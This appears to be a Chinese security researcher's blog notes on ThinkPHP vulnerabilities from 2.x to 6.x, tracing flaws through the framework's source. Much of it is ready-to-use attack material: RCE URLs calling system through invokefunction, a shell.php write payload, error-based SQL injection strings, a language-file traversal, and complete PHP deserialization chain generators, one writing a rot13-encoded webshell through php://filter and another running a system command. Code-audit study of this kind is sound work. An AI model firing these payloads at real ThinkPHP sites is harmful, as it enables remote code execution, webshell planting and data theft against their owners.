ThinkPHP Framework Vulnerabilities List

在开始前,学习ThinkPHP相关漏洞需要掌握10.PHP反序列化漏洞9.PHP代码审计,否则会非常吃力,审计起来

环境安装

稳定版本下载

1
composer create-project topthink/think tp

基础

URL和路由:https://blog.csdn.net/lthirdonel/article/details/88775620 thinkphp内置了几种方法,在 ThinkPHP/Common/functions.php,比如I()M()等等

1
2
3
4
5
6
7
8
9
10
11
12
A 快速实例化Action类库 
B 执行行为类
C 配置参数存取方法
D 快速实例化Model类库
F 快速简单文本数据存取方法
I http获取参数
L 语言参数存取方法
M 快速高性能实例化模型
R 快速远程调用Action类方法
S 快速缓存存取方法
U URL动态生成和重定向方法
W 快速Widget输出方法

ThinkPHP 2.x

preg_replace /e 模式代码执行漏洞

代码需要定位到 ThinkPHP\Lib\Think\Util\Dispatcher.class.php Pasted image 20260304191734.png 这里会发现

1
$res = preg_replace('@(\w+)\/([^,\/]+)@e', '$var[\'\\1\']="\\2";', str_replace($matches[0],'',$regx));

ThinkPHP/Lib/Think/Util/Dispatcher.class.php 中,Dispatcher类的dispatch方法里 Dispatcher.class.php 文件负责接收用户发送的请求,并根据路由规则将请求分发到相应的控制器(Controller)和方法(Action)。它会解析 URL,并根据定义的路由规则进行匹配,然后确定要执行的控制器和方法。 根据ThinkPHP对路由的解析,对这部分代码进行调试和分析

1
2
http://xx.xx.xx.xx/index.php/模块/控制器/操作
http://127.0.0.1/index.php/a/b/c/d

首先,通过 C(‘URL_MODEL’) 获取 URL 的模式,然后根据不同的模式进行不同的处理,这里是默认模式 Pasted image 20260304192408.png 接下来,如果配置文件中开启了子域名部署(APP_SUB_DOMAIN_DEPLOY 为真),则会根据规则对子域名进行路由处理。这里为false,直接跳过了 Pasted image 20260304192422.png 然后根据配置文件中的设置获取 URL 的分隔符 (URL_PATHINFO_DEPR),并调用 getPathInfo() 函数来分析 URL 的 PATHINFO 信息 Pasted image 20260304192453.png 接下来是路由检测和解析的部分。首先会调用 routerCheck() 函数检测是否有自定义的路由规则。如果没有自定义的路由规则,则按照默认规则进行调度。它会先根据 URL 分隔符将 $_SERVER['PATH_INFO'] 进行切割,得到一个路径的数组 $paths Pasted image 20260304192533.png 然后到preg_replace函数 Pasted image 20260304192543.png 在preg_replace()函数中,正则表达式中使用了/e模式,将“替换字符串”作为PHP代码求值,并用其结果来替换所搜索的字符串 上面正则表达式可以简化为\w+/([\^\/]),即搜索获取“/”前后的两个参数,$var[‘\1’]=”\2”;是对数组的操作,将之前搜索到的第一个值作为新数组的键,将第二个值作为新数组的值,我们发现可以构造搜索到的第二个值,即可执行任意PHP代码

1
2
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', 'c/d');

在PHP当中,{}是可以构造一个变量的,{}写的是一般的字符,那么就会被当成变量,比如{a}等价于$a,那如果{}写的是一个已知函数名称呢?那么这个函数就会被执行 所以只要构造成这样:

1
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', 'c/${phpinfo()}');

漏洞攻击姿势

1
http://127.0.0.1/index.php/a/b/c/${@phpinfo()}

后面版本的更新中,preg_replace被替换了: 输入的${phpinfo()}被当成了字符串被strip_tags()处理了

1
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']=strip_tags(\'\\2\');', implode($depr,$paths));

ThinkPHP 3.x

ThinkPHP 3.x SQL注入漏洞

注意:ThinkPHP < 3.2.4,与 l() 方法有关

where注入

1
index.php?id[where]=1 and 1=updatexml(1,concat(0x7e,(select database()),0x7e),1)%23

exp注入

1
index.php?username[0]=exp&username[1]==1 and updatexml(1,concat(0x7e,database(),0x7e),1)

bind注入

先配置一个控制器

1
2
3
4
5
6
7
8
public function index()
{
$User = M("Users");
$user['id'] = I('id');
$data['password'] = I('password');
$valu = $User->where($user)->save($data);
var_dump($valu);
}

测试

1
http://127.0.0.1/index.php?id[0]=bind&password=admin123&id[1]=0 and updatexml(1,concat(0x7e,database(),0x7e),1)

orderby注入

先在2.3.4跟新的地方,发现parseOrder存在大量跟新,漏洞大概率出现在这 Pasted image 20260304200504.png 控制器

1
2
3
4
5
6
public function index(){
$username = I("username");
$order = I("order");
$data = M("users")->where(array("username"=>$username))->order($order)->find();
dump($data);
}

M只是实例化users对象,不管了,where也不是我们的利用点,我们也没对其进行操作,因此也跳过 疑问: order($order) 是干嘛的?,只知道是给 $order 赋值

1
username=admin&order=1>find()–>select()–>buildSelectSql()–>parseSql()

在这里找到了parseOrder Pasted image 20260304200545.png 跟进 parseOrder

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
protected function parseOrder($order)
{
if (is_array($order)) {
$array = array();
foreach ($order as $key => $val) {
if (is_numeric($key)) {
$array[] = $this->parseKey($val);
} else {
$array[] = $this->parseKey($key) . ' ' . $val;
}
}
$order = implode(',', $array);
}
return !empty($order) ? ' ORDER BY ' . $order : '';
}

这里首先会判断$order是不是数组,如果不是,返回拼接,如果$order不为空,则拼接ORDER BY 因为没有过滤,造成了sql注入 注入

1
index.php?username=admin&order=1 and updatexml(1,concat(0x3a,database()),1)

update注入

实际上就是bind注入

3.2.3 反序列化漏洞

写一个控制器

1
2
3
public function index(){
unserialize(base64_decode($_GET['ser']));
}

然后漏洞点在 __destruct,这个是入口,因为这个魔术方法当反序列化时会最先调用 Pasted image 20260304201508.png 然后发现 Pasted image 20260304201515.png 接着找找哪里会调用到 destroy,在 ThinkPHP/Library/Think/Session/Driver/Memcache.class.php EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<?php
//初始化数据库连接
namespace Think\Db\Driver{
use PDO;
class Mysql{
protected $config = array(
"debug" => 1,
"database" => "thinkphp", //数据库名
"hostname" => "127.0.0.1", //地址
"hostport" => "3306", //端口
"charset" => "utf8",
"username" => "root", //用户名
"password" => "123456" //密码
);
}
}

namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;

public function __construct(){
$this->img = new Memcache();
}
}
}

namespace Think\Session\Driver{
use Think\Model;
class Memcache{
protected $handle;

public function __construct(){
$this->handle = new Model();
}
}
}

namespace Think{
use Think\Db\Driver\Mysql;
class Model{
protected $options = array();
protected $pk;
protected $data = array();
protected $db = null;

public function __construct(){
$this->db = new Mysql();
$this->options['where'] = '';
$this->pk = 'id';
$this->data[$this->pk] = array(
"table" => "users where 1 and updatexml(1,concat(0x7e,database(),0x7e),1)#",
"where" => "1=1"
);
}
}
}

namespace {
echo base64_encode(serialize(new Think\Image\Driver\Imagick()));
}

进行绕过

1
index.php?id=updatexml/*,*/(/*%20ASC,*/1,concat/*,*/(/*%20ASC,*/0x7e,database/*,*/(.*%20ASC,&/),0x7e),1)

ThinkPHP 2.x/3.0 远程代码执行漏洞

ThinkPHP 缓冲区函数导致 getshell

注意:涉及 Cache 类的,开发中需要谨慎使用,ThinkPHP 依然存在

ThinkPHP 3.2.4 SQL注入漏洞

版本需要:ThinkPHP <= 3.2.4

CVE-2018-18546

CVE-2018-18529

CVE-2018-10225

ThinkPHP 5.x

ThinkPHP 5.0.24 反序列化漏洞

实验环境准备,我这里准备的是 5.0.24,然后编写一个入口

1
2
3
4
5
6
7
8
9
10
11
<?php
namespace app\index\controller;

class Index
{
public function index() {
$c = unserialize($_GET["c"]);
var_dump($c);
return 'Welcome to 5.0.24';
}
}

链子总结

第一步,先找到 think\process\pipes\Windows::__destruct(),这是起点,当对象被销毁时,他会调用 removeFiles() 第二步,removeFiles() -> file_exists(),在该方法中,会检查 $this->files,如果我们把一个对象传给 file_exists,他会尝试将对象转换成字符串,从而触发该对象的 __toString() 第三步,think\model\Merge::__toString()/think\Model,触发类的__toString后,会进一步的调用toJson()->toArray() 第四步,toArray()的逻辑陷阱,在toArray中,程序会遍历属性并处理,如果攻击者构造了特定的属性名,程序会进入动态调用分支,触发__call() 第五步,think\Request::__call(),这是一个关键跳板,__call 最终会调用 isAjax() 或其他方法,并结合filter功能 最后,就是代码执行,利用Requests类中的过滤机制filterValue,攻击者可以将自定义参数传递给call_user_func,从而实现RCE远程代码执行

不同版本差异

链子原理

反序列化第一步,先找到 __destruct() Pasted image 20260304220346.png 这里在 thinkphp/library/think/process/pipes/Windows.php#__desturct() 发现自己调用了 $this->removeFiles() 方法 Pasted image 20260304220409.png 跟进去查看这个方法,发现删除了临时的文件 Pasted image 20260304220502.png 并且这里的 $this->files 是可控的 Pasted image 20260304220516.png 经过 file_exists($filename) 可以触发 __tostring(),这里存在一个任意文删除 全局搜索 __tostring() Pasted image 20260304220643.png 这里选择的是Model.php里面的**tostring方法,跟进其调用的toJson() Pasted image 20260304220703.png 继续跟进 $this->toArray(),发现这里的可控参数比较多 Pasted image 20260304220930.png 这里可以找到一个触发 **call的地方,此时,需要控制value 为一个带有 __call 的类对象,往上查找,value是来自这 ![[Pasted image 20260304221008.png]] 其中,参数modelRelation = $this->relation(),实际上就是 think\Model类任意方法的返回结果。这里选择返回结果简单可控的getError 方法

1
2
3
4
public function getError()
{
return $this->error;
}

getRelationData 方法里,要进入第一个if语句才能赋值成想要的类 Pasted image 20260304221100.png 层层分析,要满足

1
2
3
4
5
$this->append = ['getError'];
$this->error = new HasOne();//Relation子类,且有getBindAttr()
$this->selfRelation = false;//isSelfRelation()
$this->query = new Query();
$this->parent = new xxx() //调用__call

全局搜索 __call,这里选择的是 console/Output.php 的Output类 Pasted image 20260304221140.png

1
2
3
4
5
6
7
8
9
10
11
12
13
public function __call($method, $args)
{
if (in_array($method, $this->styles)) {
array_unshift($args, $method);
return call_user_func_array([$this, 'block'], $args);
}

if ($this->handle && method_exists($this->handle, $method)) {
return call_user_func_array([$this->handle, $method], $args);
} else {
throw new Exception('method not exists:' . __CLASS__ . '->' . $method);
}
}

这个方法调用了 call_user_func_array 把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入 在第一个 call_user_func_array 中调用了block方法

1
2
3
4
protected function block($style, $message)
{
$this->writeln("<{$style}>{$message}</$style>");
}

继续跟进writeln

1
2
3
4
public function writeln($messages, $type = self::OUTPUT_NORMAL)
{
$this->write($messages, true, $type);
}

$this->handle 可控,可以修改为某个类,执行这个类的write 全局搜索 write 方法进一步利用,跟进 thinkphp/library/think/session/driver/Memcached.php

1
2
3
4
public function write($sessID, $sessData)
{
return $this->handler->set($this->config['session_name'] . $sessID, $sessData, $this->config['expire']);
}

这个$this->handle也是可控的,全局搜索set方法,找到 thinkphp/library/think/cache/driver/File.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public function set($name, $value, $expire = null)
{
if (is_null($expire)) {
$expire = $this->options['expire'];
}
if ($expire instanceof \DateTime) {
$expire = $expire->getTimestamp() - time();
}
$filename = $this->getCacheKey($name, true);
if ($this->tag && !is_file($filename)) {
$first = true;
}
$data = serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
if ($result) {
isset($first) && $this->setTagItem($filename);
clearstatcache();
return true;
} else {
return false;
}
}

这里存在一个php文件写入,虽然前面有exit()避免后面的数据被执行,但是这里可以使用伪协议绕过 这里存在一个问题,只能控制文件名,写入为文件的数据来自$value, 根据链子传参,$value= true ,是不可控的 而且在windows环境下,文件名存在限制 往下存在setTagItem调用,传参是文件名 Pasted image 20260304221416.png 跟进查看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
protected function setTagItem($name)
{
if ($this->tag) {
$key = 'tag_' . md5($this->tag);
$this->tag = null;
if ($this->has($key)) {
$value = explode(',', $this->get($key));
$value[] = $name;
$value = implode(',', array_unique($value));
} else {
$value = $name;
}
$this->set($key, $value, 0);
}
}

这个函数会再次调用set()方法,并且set方法的value是来自文件名$name,也就是说可以把前面的文件名写入到文件里 如果第一次调用set方法的时候把恶意代码写到文件名里,第二此调用set的时候就能够把文件名的内容写入到新的php文件里 最终POP链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
<?php
namespace think\process\pipes;
use think\model\Pivot;
class Pipes{

}

class Windows extends Pipes{
private $files = [];

function __construct(){
$this->files = [new Pivot()];
}
}

namespace think\model;#Relation
use think\db\Query;
abstract class Relation{
protected $selfRelation;
protected $query;
function __construct(){
$this->selfRelation = false;
$this->query = new Query();#class Query
}
}

namespace think\model\relation;#OneToOne HasOne
use think\model\Relation;
abstract class OneToOne extends Relation{
function __construct(){
parent::__construct();
}

}
class HasOne extends OneToOne{
protected $bindAttr = [];
function __construct(){
parent::__construct();
$this->bindAttr = ["no","123"];
}
}

namespace think\console;#Output
use think\session\driver\Memcached;
class Output{
private $handle = null;
protected $styles = [];
function __construct(){
$this->handle = new Memcached();//目的调用其write()
$this->styles = ['getAttr'];
}
}

namespace think;#Model
use think\model\relation\HasOne;
use think\console\Output;
use think\db\Query;
abstract class Model{
protected $append = [];
protected $error;
public $parent;#修改处
protected $selfRelation;
protected $query;
protected $aaaaa;

function __construct(){
$this->parent = new Output();#Output对象,目的是调用__call()
$this->append = ['getError'];
$this->error = new HasOne();//Relation子类,且有getBindAttr()
$this->selfRelation = false;//isSelfRelation()
$this->query = new Query();

}
}

namespace think\db;#Query
use think\console\Output;
class Query{
protected $model;
function __construct(){
$this->model = new Output();
}
}

namespace think\session\driver;#Memcached
use think\cache\driver\File;
class Memcached{
protected $handler = null;
function __construct(){
$this->handler = new File();//目的调用File->set()
}
}
namespace think\cache\driver;#File
class File{
protected $options = [];
protected $tag;
function __construct(){
$this->options = [
'expire' => 0,
'cache_subdir' => false,
'prefix' => '',
'path' => 'php://filter/write=string.rot13/resource=./<?cuc cucvasb();flfgrz("bcra -n Pnyphyngbe.ncc")?>',
'data_compress' => false,
];
$this->tag = true;
}
}

namespace think\model;
use think\Model;
class Pivot extends Model{

}


use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()));

ThinkPHP 5.0.10 cacheFile变量文件包含

创建 application/index/view/index/index.html 文件,内容随意(没有这个模板文件的话,在渲染时程序会报错) 官方发布的更新: Pasted image 20260304205849.png 查看这个文件的对应位置 template/driver/File.php Pasted image 20260304210430.png 发现这里可能会存在变量覆盖–> extract()EXTR_OVERWRITE 模式是默认值,如果有冲突,则覆盖已有的变量 如果 $cacheFile可控,将导致文件包含漏洞出现 随便传入参数调试 调用栈:

1
2
3
4
5
6
7
8
9
10
11
12
13
File.php:45, think\template\driver\File->read()
Template.php:200, think\Template->fetch()
Think.php:84, think\view\driver\Think->fetch()
View.php:163, think\View->fetch()
Controller.php:120, think\Controller->fetch()
Index.php:31, app\index\controller\Index->index()
App.php:343, ReflectionMethod->invokeArgs()
App.php:343, think\App::invokeMethod()
App.php:595, think\App::module()
App.php:457, think\App::exec()
App.php:139, think\App::run()
start.php:19, require()
index.php:17, {main}()

到这个 read() 函数 Pasted image 20260304210517.png $var 是传入的get参数,这里是数组 然后进入if,执行了 extract() 函数,使得这个数组变为: $a=1 因为这里的 $cacheFile 前面控制不了,可以在这里进行变量覆盖修改它的值 传参数试试:

1
?cacheFile=123

ThinkPHP 5.x 远程代码执行漏洞 1

5.0.13 远程代码执行

该漏洞存在于 ThinkPHP 底层没有对控制器名进行很好的合法性校验,导致在未开启强制路由的情况下,用户可以调用任意类的任意方法,最终导致 远程代码执行漏洞 的产生

  • 5.0.7<=ThinkPHP5<=5.0.22 5.0.23官方修复:添加了对控制器名的检查 Pasted image 20260304212233.png 默认情况下,可以使用路由兼容模式 s 参数,访问控制器的内容 Pasted image 20260304214102.png 比如说
1
http://site/?s=模块/控制器/方法/参数/参数值

所以我们

1
http://127.0.0.1/?s=index/index/index

在这个方法里调用了 routeCheck进行了路由检查 Pasted image 20260304214214.png 跟进去

1
run()-->routeCheck()

到了这里,这个方法对s传入的控制器/方法/参数进行解析 这里用了/对传入的字符串进行分割 Pasted image 20260304214237.png 分割后得到 Pasted image 20260304214252.png Pasted image 20260304214257.png 解析完这个后返回到run() 调用了 exec() Pasted image 20260304214310.png 跟进

1
run()-->exec()

Pasted image 20260304214327.png 继续跟进

1
run()-->exec()-->module()

这里可以看到官方修改的部分 Pasted image 20260304214351.png 这里是根据刚刚那个划分出来的数组进行分别处理,[1]为控制器,[2]为操作名 后面的就是调用这个控制器对应的操作 Pasted image 20260304214410.png 整个过程下来,没有对控制器名进行任何检查,可以调用任意控制器的任意方法(已经加载的类) 下面的是可以利用的

1
2
3
4
?s=index/think\config/get&name=database.username # 获取配置信息
?s=index/\think\Lang/load&file=../../test.jpg # 包含任意文件
?s=index/\think\Config/load&file=../../t.php # 包含任意.php文件
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id #执行系统命令

5.1.x 远程代码执行

这里实验版本为 5.1.30,漏洞版本都差不多,都是没有对控制器名进行检查 测试调试为

1
?s=index/index/index

run()方法先进行初始化,然后调用 routeCheck() Pasted image 20260304214950.png 跟进

1
run() -> routeCheck()

Pasted image 20260304215009.png 在这里获取到s传来的参数,即 模块/控制器/方法 然后调用check(),对路由进行处理 Pasted image 20260304215029.png 跟进

1
run() --> routeCheck() -->check()

Pasted image 20260304215120.png 在这里,路由的/被替换成’| ,即变成index|index|index 来到think/route/dispatch/Module.php

1
run() --> init() -->init()

Pasted image 20260304215241.png 这里解析出控制器名和操作名,接下来就是实例化然后执行

1
think\route\dispatch\Module->exec()

Pasted image 20260304215259.png 整个过程中没有对控制器名进行检查,从而导致该漏洞 可利用的控制器:

1
2
3
4
5
?s=index/\think\Request/input&filter[]=system&data=pwd
?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

ThinkPHP 5.x 远程代码执行漏洞 2

5.0.x

5.1.x

ThinkPHP 5 SQL 注入漏洞

注意:风险方法,使用中需要做好过滤,这里以thinkphp 5.0.13为例子

paraData 方法

1
http://127.0.0.1/index.php?name[0]=inc&&name[1]=updatexml(1,concat(0x7,database(),0x7e),1)&name[2]=aaa

paraArrayData 方法

1
http://127.0.0.1/index.php?password[0]=point&password[1]=1&password[2]=updatexml(1,concat(0x7,user(),0x7e),1)^&password[3]=0

parseWhereItem 方法

parseOrder 方法

ThinkPHP 6.x

ThinkPHP 6.x 任意文件包含(6.0.1~6.0.13,5.0.x,5.1.x)

如果 Thinkphp 程序开启了多语言功能,那就可以通过 get、header、cookie 等位置传入参数,实现目录穿越+文件包含,和6.0.14版本比较,发现官方删除了Lang.php的detect函数 Pasted image 20260305174812.png LoadLangPack.php的detect函数也有修改,在 vendor/topthink/framework/src/think/middleware/LoadLangPack.php 下面 Pasted image 20260305175132.png 分析这个 detect(),这个函数首先是从http请求中的三个地方获取数据,然后转成小写字母保存到 $langSet中,然后如果满足if条件,就将$langSet保存到range中返回 Pasted image 20260305175228.png 全局查找detect()的引用,找到了Lang.php的handle函数,正是加载语言包的地方,查看handle()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public function handle($request, Closure $next)
{
// 自动侦测当前语言
$langset = $this->lang->detect($request);

if ($this->lang->defaultLangSet() != $langset) {
// 加载系统语言包
$this->lang->load([
$this->app->getThinkPath() . 'lang' . DIRECTORY_SEPARATOR . $langset . '.php',
]);

$this->app->LoadLangPack($langset);
}

$this->lang->saveToCookie($this->app->cookie);

return $next($request);
}

在函数第一条代码中,就调用了,detect()方法,环境复线,这里需要开启多语言支持

1
/?lang=../../../../../public/test

ThinkPHP 6.0.0/6.0.1 任意文件写入

编写一个控制器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
namespace app\controller;
use app\BaseController;
class Index extends BaseController
{
public function index()
{
session('demo', $_GET['demo']);
return 'ThinkPHP V6.0.1';
}
public function hello($name = 'ThinkPHP6')
{
return 'hello,' . $name;
}
}

修改 /app/middleware.php 文件如下,开启Session功能,这三个注释都关掉 Pasted image 20260305181105.png 对比6.0.1和6.0.2,官方修改了sessionid的检查,添加了ctype_alnum 函数验证$id只能是字母和数字或字母数字的组合

ThinkPHP 6.0.0/6.0.15 反序列化漏洞

编写一个入口点

1
2
3
4
5
6
7
8
9
10
11
<?php
namespace app\controller;
use app\BaseController;
class Index extends BaseController
{
public function index()
{
$u = unserialize($_GET['c']);
return 'ThinkPHP V6.x';
}
}

全局搜索 __destruct Pasted image 20260305181949.png 尝试寻找其他入口,查看 vendor/topthink/think-orm/src/Model.php 这个 Pasted image 20260305182031.png 这里的 $this->lazySave 可控,可以进入 $this->save(),接着跟进 $save Pasted image 20260305184145.png 这可以控制$this->exists使得函数调用$this->updateData(),跟进$this->updateData() Pasted image 20260305184248.png 跟进checkAllowFields() Pasted image 20260305184316.png Pasted image 20260305184332.png 这里存在一个字符串拼接可以触发任意类的toString,这里后面就可以使用TP5.1.x后半段的链子了,全局搜索toString 找到vendor/topthink/think-orm/src/model/concern/Conversion.php,最后的 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
namespace think;
abstract class Model
{
private $lazySave;
protected $suffix;
private $data;
private $withAttr;
function __construct($obj = '')
{
$this->lazySave = true;
$this->suffix =$obj;
$this->withAttr=['b'=>'system'];
$this->data=['b'=>'open -a Calculator.app'];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
$a = new Pivot();
$b = new Pivot($a);
echo urlencode(serialize($b));

反序列化总结

反序列化__destruct入口就那4-5个,常用的是这两个 think/process/pipes/Windows.phpthinkphp/library/think/Process.php 上面提到的几条利用链,可以小记一下,但是 vendor/topthink/think-orm/src/model/concern/Attribute.phpgetValue 方法在 TP6 里面不能用了,需要寻找其他利用方法 Request.php中很多方法调用了filterValue,而该方法中就存在可利用的 call_user_func函数,反序列化结尾的利用可以考虑这里,php能代码执行的函数

ThinkPHP 5.0.x 核心链条(RCE)

通常涉及 Output 类和 HasOne / BelongsTo 关联查询类。

  1. 入口点:think\process\pipes\Windows 类的 __destruct() 方法。该方法会调用 close(),进而调用 removeFiles()
  2. 触发点:在 removeFiles() 中,通过 file_exists($filename) 触发变量的字符串转换,从而调用某个类的 __toString()
  3. 跳转点:指向 think\Model(或其子类),触发其 __toString(),进而进入 toJson() -> toArray()
  4. 命令执行:在 toArray() 中,利用 append 属性触发 __call(),或者通过修改 error 属性并结合 Relation 类的关联逻辑,最终通过 call_user_func 执行任意代码

ThinkPHP 5.0.24 反序列化

第一步,先找到 think\process\pipes\Windows::__destruct(),这是起点,当对象被销毁时,他会调用 removeFiles() 第二步,removeFiles() -> file_exists(),在该方法中,会检查 $this->files,如果我们把一个对象传给 file_exists,他会尝试将对象转换成字符串,从而触发该对象的 __toString() 第三步,think\model\Merge::__toString()/think\Model,触发类的__toString后,会进一步的调用toJson()->toArray() 第四步,toArray()的逻辑陷阱,在toArray中,程序会遍历属性并处理,如果攻击者构造了特定的属性名,程序会进入动态调用分支,触发__call() 第五步,think\Request::__call(),这是一个关键跳板,__call 最终会调用 isAjax() 或其他方法,并结合filter功能 最后,就是代码执行,利用Requests类中的过滤机制filterValue,攻击者可以将自定义参数传递给call_user_func,从而实现RCE远程代码执行

ThinkPHP 5.1.x / 6.0.x 链条(RCE)

  1. 入口点:同样通常是 Windows 类的 __destruct()
  2. 字符串触发:通过 file_exists 触发 __toString()
  3. 核心跳板:使用 think\model\concern\Conversion trait 中的 __toString()
  4. Sink 点 (受力点):
    1. 5.1.x:通过 Conversion -> toArray() -> getAttr() -> getValue()。在 getValue 中可以调用动态闭包或 call_user_func。
    2. 6.0.x:路径类似,但由于 6.0 引入了更多的类型检查,通常需要配合 SerializableClosure(如果环境允许)或者寻找特定的 __call 实现。

References

ThinkPHP 代码审计 | Tree’s Blog Thinkphp5 RCE总结 - Y4er的博客 THINKPHP-poc-collection · HacKerQWQ’s Studio

Support via Solana

Solana

Solana

Solana Pay

Solana Pay

WeChat

WeChat